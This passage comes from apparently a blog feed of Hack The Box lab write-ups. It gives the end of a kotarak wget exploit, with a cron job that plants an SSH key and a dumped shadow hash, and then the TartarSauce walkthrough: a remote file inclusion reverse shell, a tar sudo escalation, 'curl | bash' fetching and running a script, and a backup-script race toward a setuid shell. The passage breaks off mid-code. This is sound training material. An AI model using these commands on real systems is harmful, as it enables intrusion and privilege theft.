&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;FTP_HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;10.0.3.1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;FTP_PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ROOT_CRON&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;* * * * * root mkdir -p /root/.ssh; echo &amp;#39;ssh-rsa AAAAB3N...QN2DbQ==&amp;#39; &amp;gt;&amp;gt; /root/.ssh/authorized_keys &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SocketServer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TCPServer&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HTTP_LISTEN_IP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HTTP_LISTEN_PORT&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;wgetExploit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Ready? Is your FTP server running?&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect_ex&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;FTP_HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FTP_PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;FTP found open on &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;. Let&amp;#39;s go then&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FTP_HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FTP_PORT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;FTP is down :( Exiting.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Serving wget exploit on port &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;...&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;HTTP_LISTEN_PORT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;serve_forever&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I changed the IP to 10.0.3.1 as this is the IP address of the lxcbr0 interface. I also changed what the cron job should do, which is, adding our pub-key to the authorized_keys files in the /root/.ssh directory (every minute). Apart from these changes, the code is just like it appears in the proof of concept.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 You can quickly generate your own keypair using &lt;code&gt;ssh-keygen -t rsa -b 4096&lt;/code&gt;.
&lt;/div&gt;

&lt;p&gt;Now everything is prepared and we can start the FTP and web server. As we only have one terminal, let&amp;rsquo;s background the FTP server (we will still get the output):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;authbind python -m pyftpdlib -p21 &amp;amp;
authbind python server.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On an even minute we see the &lt;code&gt;GET /archive.tar.gz&lt;/code&gt; to the web server, which is then redirected to the FTP server. The FTP server serves the &lt;code&gt;.wgetrc&lt;/code&gt; file as expected.&lt;/p&gt;
&lt;p&gt;Two minutes later, we&amp;rsquo;ll get a POST (as we modified the &lt;code&gt;.wgetrc&lt;/code&gt;) with the contents of the shadow file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root:*:17366:0:99999:7:::
[...]
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(Since we try to directly get root access via our cron, we don&amp;rsquo;t need to bother with the retrieved hash of the &lt;code&gt;ubuntu&lt;/code&gt; user for now).&lt;/p&gt;
&lt;p&gt;One minute later, our installed cron should have added our key to the authorized_keys file. We can now stop the web server (&lt;code&gt;&amp;lt;Ctrl&amp;gt;C&lt;/code&gt; and the FTP server &lt;code&gt;jobs; kill %1&lt;/code&gt;) and try logging in after waiting this one minute:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -i key root@10.0.3.133
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It works, and we are root in the container:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root@kotarak-int:~# id
uid=0(root) gid=0(root) groups=0(root)
root@kotarak-int:~# hostname
kotarak-int
root@kotarak-int:~# cat /proc/1/environ
container=lxccontainer_ttys=/dev/pts/0 /dev/pts/1 /dev/pts/2 /dev/pts/3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To not endlessly continue to append our key to the authorized_keys file, we can remove the cron job again: &lt;code&gt;rm /etc/cron.d/wget-root-shell&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Cheers!&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 &lt;strong&gt;More goodness:&lt;/strong&gt; There&amp;rsquo;s a fun unintentional way to get to the root flag. Checkout the &lt;a href="https://www.youtube.com/watch?v=38e-sxPWiuY&amp;amp;t=2410s"&gt;ippsec video&lt;/a&gt; for this box.
&lt;/div&gt;
</description></item><item><title>Hack the Box Write-up #5: TartarSauce</title><link>https://davidhamann.de/2020/02/10/htb-writeup-tartarsauce/</link><pubDate>Mon, 10 Feb 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/02/10/htb-writeup-tartarsauce/</guid><description>&lt;p&gt;In this write-up we&amp;rsquo;re looking at solving the retired machine &amp;ldquo;TartarSauce&amp;rdquo; from &lt;a href="https://www.hackthebox.eu%22"&gt;Hack The Box&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After spending some time on the hosted web applications, we&amp;rsquo;ll eventually get the first foothold via an outdated Wordpress plugin. From there we can upgrade to a user shell by abusing the &lt;code&gt;tar&lt;/code&gt; command. Eventually, we get root by abusing &lt;code&gt;tar&lt;/code&gt; once more, but this time as part of a backup script and in a bit more involved way.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and Enumeration&lt;/h2&gt;
&lt;p&gt;As usual, we run our initial nmap scan &lt;code&gt;nmap -sV -sC -oN nmap/init 10.10.10.88&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries 
| /webservices/tar/tar/source/ 
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ 
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Landing Page
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While only getting back one open port, the listed entries in the robots.txt file do look promising.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Note that entries in the robots.txt file don&amp;rsquo;t &amp;ldquo;hide&amp;rdquo; pages/directories. While they indicate to crawlers what you want and don&amp;rsquo;t want to have indexed, they are a) only an advisory and not a technically imposed rule, and b) can give an attacker a first idea of what you don&amp;rsquo;t want exposed or have removed from public search engines.
&lt;/div&gt;

&lt;p&gt;Let&amp;rsquo;s start by visiting the root path of 10.10.10.88:&lt;/p&gt;
&lt;p&gt;&lt;img alt="tartarsauce index" loading="lazy" src="https://davidhamann.de/images/tartarsauce-index.png"&gt;&lt;/p&gt;
&lt;p&gt;Nothing interesting to see here except some ascii art and a little troll at the end of the page source after hundreds of line feeds: &lt;code&gt;&amp;lt;!--Carry on, nothing to see here :D--&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Let&amp;rsquo;s start a directory brute-force of &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;/webservices&lt;/code&gt; while going through the list of disallowed robots.txt entries:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.88/webservices&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Out of the five paths listed in robots.txt, only &lt;code&gt;/webservices/monstra-3.0.4/&lt;/code&gt; is available.&lt;/p&gt;
&lt;p&gt;&lt;img alt="tartarsauce monstra" loading="lazy" src="https://davidhamann.de/images/tartarsauce-monstra.png"&gt;&lt;/p&gt;
&lt;p&gt;Monstra is a Content Management System written in PHP, apparently not further developed anymore and the version it displays has several known security vulnerabilities. Doing a &lt;code&gt;searchsploit monstra&lt;/code&gt; in Kali shows &lt;em&gt;(Authenticated) Arbitrary File Upload / Remote Code Execution&lt;/em&gt; as the most promising weakness related to this version.&lt;/p&gt;
&lt;p&gt;As it requires prior authentication, let&amp;rsquo;s go over to &lt;code&gt;http://10.10.10.88/webservices/monstra-3.0.4/admin/&lt;/code&gt; and attempt a login with common credentials.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;admin&lt;/code&gt; and &lt;code&gt;admin&lt;/code&gt; as user/password works right off the bat and we&amp;rsquo;re inside the admin interface.&lt;/p&gt;
&lt;p&gt;Examining the potential exploit (&lt;code&gt;searchsploit -x 43348&lt;/code&gt;), it looks like a simple file upload could give us remote code execution via PHP. Trying it out, however, we quickly find the upload functionality does not work for any file, and we can see that doing any kind of modification in the admin panel leads to errors as well (e.g. modifying a template).&lt;/p&gt;
&lt;p&gt;The vulnerability does not seem to be exploitable, even though in theory it should be. I like this, because it reflects a very common situation in real life, where vulnerabilities exist, but cannot be exploited due to the presence of certain configurations or just lucky circumstances.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;But, looking at the gobuster results from the directory brute-force started earlier, we have found another promising candidate: &lt;code&gt;/webservices/wp&lt;/code&gt;. It shows a rather empty wordpress installation, but as abandoned software often that lets you in, let&amp;rsquo;s start enumerating it.&lt;/p&gt;
&lt;p&gt;&lt;img alt="tartarsauce wordpress" loading="lazy" src="https://davidhamann.de/images/tartarsauce-wordpress.png"&gt;&lt;/p&gt;
&lt;p&gt;Having a look at Wordpress&amp;rsquo; default directories, we see that browsing them is a bit tedious as it seems the base url of the site is misconfigured (missing a slash after &lt;code&gt;http:/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="tartarsauce wordpress 404" loading="lazy" src="https://davidhamann.de/images/tartarsauce-wordpress-404.png"&gt;&lt;/p&gt;
&lt;p&gt;While we could manually correct all HTTP requests through an intercepting proxy, there&amp;rsquo;s a nice trick to do it &lt;em&gt;automatically&lt;/em&gt; in &lt;a href="https://portswigger.net/burp"&gt;Burp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Going to &lt;em&gt;Options&lt;/em&gt; in the &lt;em&gt;Proxy&lt;/em&gt; tab, we can add a rule under &lt;em&gt;Match and Replace&lt;/em&gt; and tell it to replace &lt;code&gt;GET /10.10.10.88/webservices&lt;/code&gt; in the request header with &lt;code&gt;GET /webservices&lt;/code&gt;. Similarly, we could do this for other methods and headers as well.&lt;/p&gt;
&lt;p&gt;&lt;img alt="tartarsauce burp match/replace" loading="lazy" src="https://davidhamann.de/images/tartarsauce-burp-match-replace.png"&gt;&lt;/p&gt;
&lt;p&gt;Now we can browse the site regularly through the Burp proxy.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Unfortunately, we&amp;rsquo;re not lucky with weak credentials this time, and even notice a delay in processing the login requests to prevent brute-forcing.&lt;/p&gt;
&lt;p&gt;As Wordpress security is often compromised using third-party plugins, let&amp;rsquo;s have a look at &lt;a href="https://github.com/wpscanteam/wpscan"&gt;WPScan&lt;/a&gt; to enumerate plugins:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wpscan --url http://10.10.10.88/webservices/wp -e ap --plugins-detection aggressive&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;(Using aggressive detection as passive/mixed did not yield results)&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[i] Plugin(s) Identified:

[+] akismet
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/
 | Last Updated: 2019-11-13T20:46:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 4.1.3
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/, status: 200
 |
 | Version: 4.0.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt

[+] brute-force-login-protection
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/
 | Latest Version: 1.5.3 (up to date)
 | Last Updated: 2017-06-29T10:39:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/, status: 403
 |
 | Version: 1.5.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt

[+] gwolle-gb
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/
 | Last Updated: 2019-10-25T15:26:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | [!] The version is out of date, the latest version is 3.1.7
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
 |
 | Version: 2.3.10 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going through these and researching past vulnerabilities, we find a potential &lt;a href="https://www.exploit-db.com/exploits/38861"&gt;Remote File Inclusion vulnerability in gwolle-gb&lt;/a&gt;, albeit for a different version.&lt;/p&gt;
&lt;p&gt;As it&amp;rsquo;s a very easy exploit, let&amp;rsquo;s try it anyway.&lt;/p&gt;
&lt;h2 id="first-shell"&gt;First shell&lt;/h2&gt;
&lt;p&gt;We create a file &lt;code&gt;wp-load.php&lt;/code&gt; in a directory on our machine and add code for a PHP reverse shell. I chose the shell from &lt;a href="https://github.com/danielmiessler/SecLists"&gt;SecLists&lt;/a&gt;, present at &lt;code&gt;seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After changing the IP to our own and port to one of choice, we can launch a webserver from the directory of our &lt;code&gt;wp-load.php&lt;/code&gt; file (&lt;code&gt;python3 -m http.server 80&lt;/code&gt;), spin up a netcat listener (&lt;code&gt;nc -lvnp &amp;lt;port&amp;gt;&lt;/code&gt;), and then navigate to &lt;code&gt;http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://&amp;lt;our IP&amp;gt;/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It works and we get our first shell as &lt;code&gt;www-data&lt;/code&gt;. The version information in the readme.txt that WPScan read was thus false information.&lt;/p&gt;
&lt;h2 id="privilege-escalation-to-user"&gt;Privilege escalation to user&lt;/h2&gt;
&lt;p&gt;To get a nicer shell, let&amp;rsquo;s quickly do a &lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt; followed by backgrounding, &lt;code&gt;stty raw -echo&lt;/code&gt; and foregrounding again (check the blog post &lt;a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-3-upgrading-from-netcat-with-magic"&gt;&amp;ldquo;Upgrading Simple Shells to Fully Interactive TTYs&amp;rdquo;&lt;/a&gt; at blog.ropnop.com for details about this trick).&lt;/p&gt;
&lt;p&gt;One of the first things to check once we get an initial foothold is – amongst other things – see if we can execute commands as another user. In this case, we can:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;www-data@TartarSauce:/$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on TartarSauce:
 (onuma) NOPASSWD: /bin/tar
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Being able to run &lt;code&gt;tar&lt;/code&gt; as the user &lt;code&gt;onuma&lt;/code&gt; probably means we can easily escalate to that user:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ sudo -u onuma /bin/tar xf /dev/null -I &amp;#39;/bin/sh -c &amp;#34;sh &amp;lt;&amp;amp;2 1&amp;gt;&amp;amp;2&amp;#34;&amp;#39;
$ id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The reason this works is that &lt;code&gt;-I&lt;/code&gt; allows us to specify a custom compression program (&lt;code&gt;-I&lt;/code&gt; == &lt;code&gt;--use-compress-program&lt;/code&gt;). It is not the only method of abusing &lt;code&gt;tar&lt;/code&gt; for privilege escalation, though. Have a look at the &lt;a href="https://gtfobins.github.io/gtfobins/tar/"&gt;gtfobins page for tar&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="getting-root"&gt;Getting root&lt;/h2&gt;
&lt;p&gt;Having our new permission, we can run an enumeration script to get an overview of the system. We can host &lt;a href="https://github.com/rebootuser/LinEnum"&gt;LinEnum&lt;/a&gt; on our machine (e.g. &lt;code&gt;python3 -m http.server 80&lt;/code&gt;) and then load it and pipe it into bash in the &lt;code&gt;onuma&lt;/code&gt; shell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;curl http://10.10.14.36/LinEnum.sh | bash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Amongst other things we see a couple of files related to some kind of backup and more specifally a systemd timer:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[-] Systemd timers: 
NEXT LEFT LAST PASSED UNIT ACTIVATES 
Sun 2020-02-09 17:08:42 EST 3min 24s left Sun 2020-02-09 17:03:42 EST 1min 35s ago backuperer.timer backuperer.service 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There are also a few other (false?) hints, e.g. a comment in &lt;code&gt;.bashrc&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# add alias so i don&amp;#39;t have to type root&amp;#39;s super long password everytime i wanna switch to root :D&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I couldn&amp;rsquo;t find any clue to these, so let&amp;rsquo;s go on with finding out more about the &lt;code&gt;backuperer.service&lt;/code&gt; and the related timer.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;systemd&lt;/em&gt; timers are a way to start services based on time, similar to &lt;code&gt;cron&lt;/code&gt;. We can find the configuration of &amp;ldquo;backuperer&amp;rdquo; in &lt;code&gt;/etc/systemd/system/multi-user.target.wants/backuperer.timer&lt;/code&gt; or &lt;code&gt;/lib/systemd/system/backuperer.timer&lt;/code&gt;, respectively.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;backuperer.timer:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[Unit]
Description=Runs backuperer every 5 mins

[Timer]
# Time to wait after booting before we run first time
OnBootSec=5min
# Time between running each consecutive time
OnUnitActiveSec=5min
Unit=backuperer.service

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And the service &lt;strong&gt;backuperer.service&lt;/strong&gt; in &lt;code&gt;/lib/systemd/system/backuperer.service&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[Unit]
Description=Backuperer

[Service]
ExecStart=/usr/sbin/backuperer
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And, finally, the contents of &lt;code&gt;/usr/sbin/backuperer&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/bin/bash

# [...]

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d&amp;#39; &amp;#39; -f1)
check=$tmpdir/check

# formatting
printbdr()
{
 for n in $(seq 72);
 do /usr/bin/printf $&amp;#34;-&amp;#34;;
 done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $&amp;#34;$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n&amp;#34; &amp;gt; $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &amp;amp;

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
 /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
 # Report errors so the dev can investigate the issue.
 /usr/bin/printf $&amp;#34;$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n&amp;#34; &amp;gt;&amp;gt; $errormsg
 integrity_chk &amp;gt;&amp;gt; $errormsg
 exit 2
else
 # Clean up and save archive to the bkpdir.
 /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
 /bin/rm -rf $check .*
 exit 0
fi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see that the script does – more or less – the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Removes dot files from &lt;code&gt;/var/tmp&lt;/code&gt;, plus the &lt;code&gt;/var/tmp/check&lt;/code&gt; folder.&lt;/li&gt;
&lt;li&gt;Zips/archives the contents of &lt;code&gt;/var/www/html&lt;/code&gt; &lt;strong&gt;as user onuma&lt;/strong&gt; into a file in &lt;code&gt;/var/tmp&lt;/code&gt; with a random name beginning with a dot.&lt;/li&gt;
&lt;li&gt;Sleeps for 30 seconds&lt;/li&gt;
&lt;li&gt;Creates the directory &lt;code&gt;/var/tmp/check&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Extracts the previously archived contents &lt;strong&gt;as root&lt;/strong&gt; into the &lt;code&gt;/var/tmp/check&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;Performs a &lt;code&gt;diff&lt;/code&gt; against &lt;code&gt;/var/www/html&lt;/code&gt; vs. &lt;code&gt;/var/tmp/check/var/www/html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If the check in 6. reports differences, it just writes an error log, but leaves the files. If no differences are reported &lt;strong&gt;or if the diff command errors out&lt;/strong&gt; (as, for example, the directory doesn&amp;rsquo;t exit), it moves the archive file into &lt;code&gt;/var/backups&lt;/code&gt; and then removes the &lt;code&gt;/var/tmp/check&lt;/code&gt; directory and dot file.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If we are able to replace the tar gzipped file with our own malicious one in the timeframe of step 3 (sleep 30), include in our own tar.gz an executable with setuid bit set and owner root, plus leave the directory structure intact (as we want a successful diff (no error) that reports differences), &lt;code&gt;tar&lt;/code&gt; should extract (and keep permissions/attributes) and the script should not move/delete any file. After that we could then enter the check directory and execute our file to get a root shell. Let&amp;rsquo;s give it a shot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a simple C program on our machine that will spawn a bash shell (and keep effective user id):&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;
